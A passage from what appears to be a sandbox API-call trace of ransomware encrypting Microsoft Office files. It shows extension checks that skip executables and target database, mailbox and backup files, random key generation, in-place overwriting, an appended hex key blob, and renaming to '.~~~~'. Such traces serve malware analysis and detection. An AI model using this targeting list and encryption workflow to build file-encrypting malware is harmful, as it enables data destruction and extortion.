	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DBS") returned 0x0
	[0138.851] lstrlenW (lpString=".CKP") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".CKP") returned 0x0
	[0138.851] lstrlenW (lpString=".edb") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".edb") returned 0x0
	[0138.851] lstrlenW (lpString=".PST") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".PST") returned 0x0
	[0138.851] lstrlenW (lpString=".dbf") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dbf") returned 0x0
	[0138.851] lstrlenW (lpString=".SQL") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".SQL") returned 0x0
	[0138.851] lstrlenW (lpString=".pst") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".pst") returned 0x0
	[0138.851] lstrlenW (lpString=".dbv") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dbv") returned 0x0
	[0138.851] lstrlenW (lpString=".SDF") returned 4
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".SDF") returned 0x0
	[0138.851] lstrlenW (lpString=".dtxs") returned 5
	[0138.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dtxs") returned 0x0
	[0138.851] lstrlenW (lpString=".db3") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".db3") returned 0x0
	[0138.852] lstrlenW (lpString=".OST") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".OST") returned 0x0
	[0138.852] lstrlenW (lpString=".dbx") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dbx") returned 0x0
	[0138.852] lstrlenW (lpString=".DB3") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DB3") returned 0x0
	[0138.852] lstrlenW (lpString=".DAT") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DAT") returned 0x0
	[0138.852] lstrlenW (lpString=".VHDX") returned 5
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".VHDX") returned 0x0
	[0138.852] lstrlenW (lpString=".ndf") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".ndf") returned 0x0
	[0138.852] lstrlenW (lpString=".DB") returned 3
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DB") returned 0x0
	[0138.852] lstrlenW (lpString=".sql") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".sql") returned 0x0
	[0138.852] lstrlenW (lpString=".MYD") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".MYD") returned 0x0
	[0138.852] lstrlenW (lpString=".DBT") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DBT") returned 0x0
	[0138.852] lstrlenW (lpString=".ACCDB") returned 6
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.852] lstrlenW (lpString=".fdb") returned 4
	[0138.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".fdb") returned 0x0
	[0138.852] lstrlenW (lpString=".bak") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".bak") returned 0x0
	[0138.853] lstrlenW (lpString=".myd") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".myd") returned 0x0
	[0138.853] lstrlenW (lpString=".DTXS") returned 5
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".DTXS") returned 0x0
	[0138.853] lstrlenW (lpString=".ckp") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".ckp") returned 0x0
	[0138.853] lstrlenW (lpString=".dbt") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".dbt") returned 0x0
	[0138.853] lstrlenW (lpString=".db") returned 3
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".db") returned 0x0
	[0138.853] lstrlenW (lpString=".TXT") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".TXT") returned 0x0
	[0138.853] lstrlenW (lpString=".MDF") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".MDF") returned 0x0
	[0138.853] lstrlenW (lpString=".bdb") returned 4
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".bdb") returned 0x0
	[0138.853] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.854] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.855] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.855] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.855] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25884521779) returned 1
	[0138.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbc304c90, dwHighDateTime=0x1d60e1e)) 
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825dd8
	[0138.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825dd8 | out: hHeap=0x300000) returned 1
	[0138.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3997b8
	[0138.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3997b8 | out: hHeap=0x300000) returned 1
	[0138.856] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.856] GetLastError () returned 0x0
	[0138.857] GetLastError () returned 0x0
	[0138.857] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.857] GetLastError () returned 0x0
	[0138.857] GetLastError () returned 0x0
	[0138.857] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.862] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.862] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0138.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.863] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.864] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.864] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.864] CloseHandle (hObject=0x114) returned 1
	[0138.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3997b8
	[0138.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME23.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme23.css.~~~~")) returned 1
	[0138.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3997b8 | out: hHeap=0x300000) returned 1
	[0138.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0138.867] GetLastError () returned 0x0
	[0138.867] RtlWakeConditionVariable () returned 0x0
	[0138.868] GetCurrentThreadId () returned 0x3a4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".scr") returned 0x0
	[0138.868] lstrlenW (lpString=".cmd") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".cmd") returned 0x0
	[0138.868] lstrlenW (lpString=".dll") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dll") returned 0x0
	[0138.868] lstrlenW (lpString=".bat") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".bat") returned 0x0
	[0138.868] lstrlenW (lpString=".cpl") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".cpl") returned 0x0
	[0138.868] lstrlenW (lpString=".sys") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".sys") returned 0x0
	[0138.868] lstrlenW (lpString=".msc") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".msc") returned 0x0
	[0138.868] lstrlenW (lpString=".com") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".com") returned 0x0
	[0138.868] lstrlenW (lpString=".lnk") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".lnk") returned 0x0
	[0138.868] lstrlenW (lpString=".msp") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".msp") returned 0x0
	[0138.868] lstrlenW (lpString=".pif") returned 4
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".pif") returned 0x0
	[0138.868] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.871] lstrlenW (lpString=".sqb") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".sqb") returned 0x0
	[0138.871] lstrlenW (lpString=".ost") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".ost") returned 0x0
	[0138.871] lstrlenW (lpString=".txt") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".txt") returned 0x0
	[0138.871] lstrlenW (lpString=".mdt") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".mdt") returned 0x0
	[0138.871] lstrlenW (lpString=".BDB") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".BDB") returned 0x0
	[0138.871] lstrlenW (lpString=".eql") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".eql") returned 0x0
	[0138.871] lstrlenW (lpString=".DBF") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DBF") returned 0x0
	[0138.871] lstrlenW (lpString=".EQL") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".EQL") returned 0x0
	[0138.871] lstrlenW (lpString=".FDB") returned 4
	[0138.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".FDB") returned 0x0
	[0138.871] lstrlenW (lpString=".EDB") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".EDB") returned 0x0
	[0138.872] lstrlenW (lpString=".DACPAC") returned 7
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.872] lstrlenW (lpString=".VHD") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".VHD") returned 0x0
	[0138.872] lstrlenW (lpString=".DBV") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DBV") returned 0x0
	[0138.872] lstrlenW (lpString=".dacpac") returned 7
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dacpac") returned 0x0
	[0138.872] lstrlenW (lpString=".sdf") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".sdf") returned 0x0
	[0138.872] lstrlenW (lpString=".accdb") returned 6
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".accdb") returned 0x0
	[0138.872] lstrlenW (lpString=".DBX") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DBX") returned 0x0
	[0138.872] lstrlenW (lpString=".MDT") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".MDT") returned 0x0
	[0138.872] lstrlenW (lpString=".SQB") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".SQB") returned 0x0
	[0138.872] lstrlenW (lpString=".vhd") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".vhd") returned 0x0
	[0138.872] lstrlenW (lpString=".bac") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".bac") returned 0x0
	[0138.872] lstrlenW (lpString=".mdf") returned 4
	[0138.872] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".mdf") returned 0x0
	[0138.872] lstrlenW (lpString=".BAK") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".BAK") returned 0x0
	[0138.873] lstrlenW (lpString=".BAC") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".BAC") returned 0x0
	[0138.873] lstrlenW (lpString=".dbs") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dbs") returned 0x0
	[0138.873] lstrlenW (lpString=".vhdx") returned 5
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".vhdx") returned 0x0
	[0138.873] lstrlenW (lpString=".NDF") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".NDF") returned 0x0
	[0138.873] lstrlenW (lpString=".dat") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dat") returned 0x0
	[0138.873] lstrlenW (lpString=".DBS") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DBS") returned 0x0
	[0138.873] lstrlenW (lpString=".CKP") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".CKP") returned 0x0
	[0138.873] lstrlenW (lpString=".edb") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".edb") returned 0x0
	[0138.873] lstrlenW (lpString=".PST") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".PST") returned 0x0
	[0138.873] lstrlenW (lpString=".dbf") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dbf") returned 0x0
	[0138.873] lstrlenW (lpString=".SQL") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".SQL") returned 0x0
	[0138.873] lstrlenW (lpString=".pst") returned 4
	[0138.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".pst") returned 0x0
	[0138.873] lstrlenW (lpString=".dbv") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dbv") returned 0x0
	[0138.874] lstrlenW (lpString=".SDF") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".SDF") returned 0x0
	[0138.874] lstrlenW (lpString=".dtxs") returned 5
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dtxs") returned 0x0
	[0138.874] lstrlenW (lpString=".db3") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".db3") returned 0x0
	[0138.874] lstrlenW (lpString=".OST") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".OST") returned 0x0
	[0138.874] lstrlenW (lpString=".dbx") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".dbx") returned 0x0
	[0138.874] lstrlenW (lpString=".DB3") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DB3") returned 0x0
	[0138.874] lstrlenW (lpString=".DAT") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DAT") returned 0x0
	[0138.874] lstrlenW (lpString=".VHDX") returned 5
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".VHDX") returned 0x0
	[0138.874] lstrlenW (lpString=".ndf") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".ndf") returned 0x0
	[0138.874] lstrlenW (lpString=".DB") returned 3
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".DB") returned 0x0
	[0138.874] lstrlenW (lpString=".sql") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".sql") returned 0x0
	[0138.874] lstrlenW (lpString=".MYD") returned 4
	[0138.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS", lpSrch=".MYD") returned 0x0
	[0138.874] lstrlenW (lpString=".DBT") returned 4
